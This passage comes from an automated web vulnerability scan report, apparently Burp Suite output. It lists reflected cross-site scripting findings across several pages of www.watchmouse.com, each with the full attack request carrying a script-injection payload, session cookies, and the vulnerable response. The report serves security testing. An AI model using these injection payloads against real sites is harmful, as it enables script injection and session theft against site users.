Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:44 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-18f4203549ae7c48556bd86419a8e8d3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13091

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en2ac78"><script>alert(1)</script>3ff20eb3e24/scripting.php" method="post">
...[SNIP]...

1.535. http://www.watchmouse.com/en/scripting.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/scripting.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98e87"><script>alert(1)</script>8d7fc937638 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/scripting.php98e87"><script>alert(1)</script>8d7fc937638 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/register.php?vpackid=35
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.9.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:54 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-3829c41741ac708da38c54b0c848b67d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/scripting.php98e87"><script>alert(1)</script>8d7fc937638" method="post">
...[SNIP]...

1.536. http://www.watchmouse.com/en/search.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/search.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27836"><script>alert(1)</script>34e8fed9bf5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en27836"><script>alert(1)</script>34e8fed9bf5/search.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-2812479f71f572e6cdabf24414e9dca6"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13064

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en27836"><script>alert(1)</script>34e8fed9bf5/search.php" method="post">
...[SNIP]...

1.537. http://www.watchmouse.com/en/search.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/search.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb535"><script>alert(1)</script>49625e88926 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/search.phpeb535"><script>alert(1)</script>49625e88926 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-a695f46fd82f50bdb719de920ebf6e4c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/search.phpeb535"><script>alert(1)</script>49625e88926" method="post">
...[SNIP]...

1.538. http://www.watchmouse.com/en/search.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/search.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af2be"><script>alert(1)</script>ae18970339 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/search.php?af2be"><script>alert(1)</script>ae18970339=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1bdd18da47a2f93e425b7676cf43c04a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 14595

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/search.php?af2be"><script>alert(1)</script>ae18970339=1" method="post">
...[SNIP]...

1.539. http://www.watchmouse.com/en/seclog_demo.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/seclog_demo.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a608f"><script>alert(1)</script>cbc9e84f24 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ena608f"><script>alert(1)</script>cbc9e84f24/seclog_demo.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-8b3e67be6a078e346c5f999ba3c8b67a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ena608f"><script>alert(1)</script>cbc9e84f24/seclog_demo.php" method="post">
...[SNIP]...

1.540. http://www.watchmouse.com/en/seclog_demo.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/seclog_demo.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7e72"><script>alert(1)</script>d3c83a44fea was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/seclog_demo.phpe7e72"><script>alert(1)</script>d3c83a44fea HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:33 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7d585b20362b67d816ac4ed37bac5c36"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/seclog_demo.phpe7e72"><script>alert(1)</script>d3c83a44fea" method="post">
...[SNIP]...

1.541. http://www.watchmouse.com/en/seclog_demo.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/seclog_demo.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6bb0"><script>alert(1)</script>2ed86b509fd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/seclog_demo.php?a6bb0"><script>alert(1)</script>2ed86b509fd=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f980f6d38c38a544068bfb467ec2b225"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 16927

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/seclog_demo.php?a6bb0"><script>alert(1)</script>2ed86b509fd=1" method="post">
...[SNIP]...

1.542. http://www.watchmouse.com/en/security_news.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/security_news.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd3c6"><script>alert(1)</script>b95973a59c4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /encd3c6"><script>alert(1)</script>b95973a59c4/security_news.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-af0b6712281a3362165376aa808f6657"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13127

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/encd3c6"><script>alert(1)</script>b95973a59c4/security_news.php" method="post">
...[SNIP]...

1.543. http://www.watchmouse.com/en/security_news.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/security_news.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14254"><script>alert(1)</script>058baf01b6a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/security_news.php14254"><script>alert(1)</script>058baf01b6a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-96f0b9024471f1139fefde4d96d5fbb7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/security_news.php14254"><script>alert(1)</script>058baf01b6a" method="post">
...[SNIP]...

1.544. http://www.watchmouse.com/en/security_news.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/security_news.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ede88"><script>alert(1)</script>597f9dc12c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/security_news.php?ede88"><script>alert(1)</script>597f9dc12c1=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-26ff80edebaa3ad290ea0e9e118742de"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 19847

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="/en/security_news.php?ede88"><script>alert(1)</script>597f9dc12c1=1" method="post">
...[SNIP]...

1.545. http://www.watchmouse.com/en/sitemap.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/sitemap.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40133"><script>alert(1)</script>1f3586f5628 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en40133"><script>alert(1)</script>1f3586f5628/sitemap.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-076e24d690c5f2145109e1a8f3439e18"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en40133"><script>alert(1)</script>1f3586f5628/sitemap.php" method="post">
...[SNIP]...

1.546. http://www.watchmouse.com/en/sitemap.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/sitemap.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 767da"><script>alert(1)</script>6fdc1c8f29 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/sitemap.php767da"><script>alert(1)</script>6fdc1c8f29 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-45cecd5cb505dd6d03fc09e0e93a9d82"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13037

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sitemap.php767da"><script>alert(1)</script>6fdc1c8f29" method="post">
...[SNIP]...

1.547. http://www.watchmouse.com/en/sitemap.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/sitemap.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b2ea"><script>alert(1)</script>5ed9b16a840 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/sitemap.php?6b2ea"><script>alert(1)</script>5ed9b16a840=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:06:06 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-3fbd600192de025246a15bd7e3885f3d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 17519

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/sitemap.php?6b2ea"><script>alert(1)</script>5ed9b16a840=1" method="post">
...[SNIP]...

1.548. http://www.watchmouse.com/en/terms.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/terms.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72b45"><script>alert(1)</script>2ad67787581 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en72b45"><script>alert(1)</script>2ad67787581/terms.php?mlang=en HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
